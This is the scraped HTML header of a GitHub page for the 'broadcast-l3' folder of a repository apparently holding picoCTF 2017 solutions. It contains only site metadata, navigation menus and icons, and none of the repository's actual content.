<meta name="viewport" content="width=device-width"> <meta name="description" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bbd6f35e3e774441751d38a1f1129cb556f4f365c87fb2b9f072d8720db52cc2/s-nirali/picoctf-2017" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="picoctf-2017/broadcast-l3 at master · s-nirali/picoctf-2017" /><meta name="twitter:description" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bbd6f35e3e774441751d38a1f1129cb556f4f365c87fb2b9f072d8720db52cc2/s-nirali/picoctf-2017" /><meta property="og:image:alt" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="picoctf-2017/broadcast-l3 at master · s-nirali/picoctf-2017" /><meta property="og:url" content="https://github.com/s-nirali/picoctf-2017" /><meta property="og:description" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/s-nirali/picoctf-2017 git https://github.com/s-nirali/picoctf-2017.git"> <meta name="octolytics-dimension-user_id" content="25746945" /><meta name="octolytics-dimension-user_login" content="s-nirali" /><meta name="octolytics-dimension-repository_id" content="106162393" /><meta name="octolytics-dimension-repository_nwo" content="s-nirali/picoctf-2017" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="106162393" /><meta name="octolytics-dimension-repository_network_root_nwo" content="s-nirali/picoctf-2017" /> <link rel="canonical" href="https://github.com/s-nirali/picoctf-2017/tree/master/broadcast-l3" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="106162393" data-scoped-search-url="/s-nirali/picoctf-2017/search" data-owner-scoped-search-url="/users/s-nirali/search" data-unscoped-search-url="/search" data-turbo="false" action="/s-nirali/picoctf-2017/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="LA35zv8YzAKFmdg/wghPPn4ZENidbWUzapAh1tQcfw1Ps0nIax3bTppsX3fYUdEtDaQxowkmPFU6GEONZ50ZOQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle 